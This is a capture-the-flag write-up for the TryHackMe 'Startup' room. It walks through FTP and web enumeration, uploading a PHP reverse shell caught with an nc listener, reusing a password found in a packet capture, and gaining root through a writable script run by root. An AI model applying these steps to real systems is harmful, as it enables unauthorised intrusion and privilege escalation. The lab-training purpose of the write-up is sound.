This room on TryHackMe.com is one of the old rooms and pretty much straight forward. It involves basic enumeration, gaining a foothold and privilege escalation. Though the privesc part is a bit confusing but still something that is interesting.
So, let's begin!
Enumeration
The first thing that we can do is run an nmap scan against the IP address of the deployed machine and check the open ports.
─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $nmap -A 10.10.30.244
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-07 02:13 IST
Nmap scan report for 10.10.30.244
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 ftp [NSE: writeable]
| -rw-r--r-- 1 0 0 251631 Nov 12 04:02 important.jpg
|_-rw-r--r-- 1 0 0 208 Nov 12 04:53 notice.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.8.91.135
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
| 256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_ 256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.28 seconds
From the nmap result, we can see that three important ports are open 21 (FTP), 22 (SSH) and 80 (HTTP). The juiciest of all the three appears to be FTP as anonymous login is enabled on the same. So, we can go ahead and try to access the files present over there.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $ftp 10.10.30.244
Connected to 10.10.30.244.
220 (vsFTPd 3.0.3)
Name (10.10.30.244:tester): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
-rw-r--r-- 1 0 0 5 Nov 12 04:53 .test.log
drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 04:02 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 04:53 notice.txt
226 Directory send OK.
In the FTP server, we can see there are a few files named important.jpg and notice.txt. Along with that there is a folder named ftp as well. We can download all these files on our machine using the mget command.
ftp> mget notice.txt
mget notice.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for notice.txt (208 bytes).
226 Transfer complete.
208 bytes received in 0.00 secs (384.7065 kB/s)
Once, downloaded on our local machine we can check these files out. Along with downloading these files we can also check out the content of the ftp folder but it turns out to be empty.
ftp> cd ftp
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
The notice.txt file appears to be kind of a note but it is does not prove to be much useful.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $cat notice.txt
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
Moving on to the image, when trying to open it gives an error that the file is not a JPEG file.
So, we can open the file in hexeditor and its magic value to determine its original file type.
Here, we can see that the first few values correspond to .PNG suggesting this is a PNG file. Knowing the original file type we can rename the file and then again try to open it.
But even here we can't find any useful information. We have checked everything that we got from the FTP server but nothing appeared to be useful. So, we can move on to port 80 and check if we can find something useful over there.
When we access the IP address through our browser we get this page stating the website is not ready yet. Also, the source code of the page does not provide any useful information. The next thing that we can do is try to enumerate the directories on the web app. We can use ffuf or any other such tool to fuzz the directories.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $ffuf -u http://10.10.50.63/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://10.10.50.63/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
# directory-list-2.3-medium.txt [Status: 200, Size: 808, Words: 136, Lines: 21]
# on atleast 2 different hosts [Status: 200, Size: 808, Words: 136, Lines: 21]
# This work is licensed under the Creative Commons [Status: 200, Size: 808, Words: 136, Lines: 21]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 808, Words: 136, Lines: 21]
# Priority ordered case sensative list, where entries were found [Status: 200, Size: 808, Words: 136, Lines: 21]
# Copyright 2007 James Fisher [Status: 200, Size: 808, Words: 136, Lines: 21]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 808, Words: 136, Lines: 21]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 808, Words: 136, Lines: 21]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 808, Words: 136, Lines: 21]
files [Status: 301, Size: 310, Words: 20, Lines: 10]
Here, we get a directory named files that we can try to access.
It appears to be a bit surprizing that these are exactly the same files that we found on the FTP server. This gives us a hint towards uploading a reverse shell through FTP and then opening it through the browser. The next thing that we must do is: check if we can upload files on the FTP server.
To do so, the first thing that we must do is create a test file:
Now, after accessing the FTP server we can try to upload this test file.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $ftp 10.10.50.63
Connected to 10.10.50.63.
220 (vsFTPd 3.0.3)
Name (10.10.50.63:tester): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
-rw-r--r-- 1 0 0 5 Nov 12 04:53 .test.log
drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 04:02 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 04:53 notice.txt
226 Directory send OK.
ftp> put test_file
local: test_file remote: test_file
200 PORT command successful. Consider using PASV.
553 Could not create file.
Unfortunately, we can't upload it in the main directory but we can see that we have write permissions for the ftp folder. So, we can try to upload the file over there and then check on the browser if it appears there as well.
ftp> cd ftp
250 Directory successfully changed.
ftp> put test_file
local: test_file remote: test_file
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
ftp>
The file gets uploaded successfully, now we need to check if it can be access from the browser as well.
And, it does appear in the ftp folder. So, now we can upload a PHP reverse shell through the FTP server, open that file from the browser and get a reverse shell on our local machine.
Initial Foothold
For this purpose we can use the Pentest Monkey's Reverse Shell Payload, modify it with our local machine's IP address and then upload it on the FTP server.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.00 secs (7.7379 MB/s)
To get a reverse shell, we need to start a listener for which we can use the command nc -nvlp 1234.
I only changed the IP address in the payload and kept the port number (1234) as it is. If you change the port number in the payload then start a listener for that port number.
Once the listener is started we can open the link for our payload in the ftp folder and wait for a reverse shell to start on our listener.
┌─[tester@parrot-virtual]─[~/Downloads/startup]
└──╼ $nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.8.91.135] from (UNKNOWN) [10.10.50.63] 43438
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
00:40:28 up 57 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
To get a stable shell we can use a python one-liner:
python -c 'import pty; pty.spawn("/bin/bash")'
The first question asks about a secret ingredient which can be found in a file in the root directory itself:
www-data@startup:/$ cat recipe.txt
cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was ****.
Privilege Escalation From www-data
Currently, we are logged in as www-data and hence can't access the user flag. We can check some commands such as sudo -l, cronjob and a few other things to escalate our privileges.
www-data@startup:/$ sudo -l
sudo -l
sudo: unable to resolve host startup
[sudo] password for www-data:
sudo -l does not turn out to be helpful as we don't know the password for www-data. We can also check the /etc/crontab file to get an idea if there are any cronjobs running on the machine.
www-data@startup:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
But even here we can't find any useful information. The next thing that we can check are the files that have SUID permission but even over there we won't find anything useful. Another thing that we can do is try to find the files to which we have access.
Here, we can see that there is a directory named incidents in the root directory which contains a PCAPNG file named as suspicious.pcapng. We can download this file on our machine and try to analyze the captured traffic using wireshark. But to do so, we need first start a python server on the target machine in the directory from where we want to download the file:
www-data@startup:/$ cd /incidents
cd /incidents
www-data@startup:/incidents$ python3 -m http.server 8080
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 ...
Now that our python server is running, we can download the file on our local machine using the wget command.
└──╼ $wget http://10.10.5.99:8080/suspicious.pcapng
--2021-01-07 18:27:51-- http://10.10.5.99:8080/suspicious.pcapng
Connecting to 10.10.5.99:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31224 (30K) [application/octet-stream]
Saving to: ‘suspicious.pcapng’
suspicious.pcapng 100%[==========>] 30.49K 40.2KB/s in 0.8s
2021-01-07 18:27:52 (40.2 KB/s) - ‘suspicious.pcapng’ saved [31224/31224]
Now that we have the network capture file, we can analyze it and look for some hints in the same.
We can look for packets in which there is some text visible which usually are TCP protocol packet containing the Data part in them. Going through the flow of the packets we can quickly determine from the content of the packets that someone tried to gain a reverse shell on the machine and they were successful in doing so. Moving on further we can see that the attacker tried to run the command sudo -l and when asked for the password he entered some value.
To get a better understanding of the traffic flow use the Follow TCP Stream option by right clicking on any TCP packet -> Follow -> TCP Stream (or Ctrl+Alt+Shift+T)
Apparently, when the password was entered for user www-data it didn't work but we can try to use the same password for user lennie.
www-data@startup:/$ su lennie
su lennie
Password: *******************
lennie@startup:/$
And there we get escalated to the user lennie. Now, we can read the user flag.
lennie@startup:/$ cd ~
cd ~
lennie@startup:~$ cat user.txt
Privilege Escalation to Root
Our next task is to gain the root privilege. Again we can check the commands that user lennie can run as sudoer using the command sudo -l.
lennie@startup:~$ sudo -l
sudo -l
sudo: unable to resolve host startup
[sudo] password for lennie:
Sorry, user lennie may not run sudo on startup.
But it appears that lennie can't run any commands with sudo privilege. So, we can look around in lennie's directory to see if we can find something useful.
lennie@startup:~$ ls -la
ls -la
total 20
drwx------ 4 lennie lennie 4096 Nov 12 04:53 .
drwxr-xr-x 3 root root 4096 Nov 12 04:53 ..
drwxr-xr-x 2 lennie lennie 4096 Nov 12 04:53 Documents
drwxr-xr-x 2 root root 4096 Nov 12 04:54 scripts
-rw-r--r-- 1 lennie lennie 38 Nov 12 04:53 user.txt
We can see there are two directories which are Documents which is owned by lennie and scripts which is owned by root. We can check both these but in scripts we can find a bash script to which we have execute rights.
lennie@startup:~/scripts$ ls -la
ls -la
total 16
drwxr-xr-x 2 root root 4096 Nov 12 04:54 .
drwx------ 4 lennie lennie 4096 Nov 12 04:53 ..
-rwxr-xr-x 1 root root 77 Nov 12 04:53 planner.sh
-rw-r--r-- 1 root root 1 Jan 7 13:33 startup_list.txt
It is pretty clear that the script prints out the content of variable LIST in the startup_list.txt file. So, we can try to set the LIST variable to the content of root flag and as this file gets executed by root we might be able to get root flag.
But this does not work, obviously as we don't have access to the /root directory. But we can see that this script is executing another script /etc/print.sh. We can go and check if this script can help us in some way.
lennie@startup:~/scripts$ cat /etc/print.sh
cat /etc/print.sh
#!/bin/bash
echo "Done!"
lennie@startup:~/scripts$ ls -la /etc/print.sh
ls -la /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12 04:53 /etc/print.sh
This script does not do anything special but just prints out the "Done!". Even then there is one interesting thing about this file and that is lennie is the owner of this file. So, we can modify this file and when the planner.sh would get executed by root the print.sh file would also get executed with root's privileges.
This will create a file named abc in the /tmp directory and store the content of root flag in the same. We need to wait for some time when the script gets executed automatically by the system and once it is executed we will get our root flag.
NOTE
We checked the cronjobs and did not find anything over there but I had guessed that this script was being executed by the system at a fixed interval. But a more technical justification could be found by downloading the PSPY64 tool on the target machine and then checking all the processes running in the background.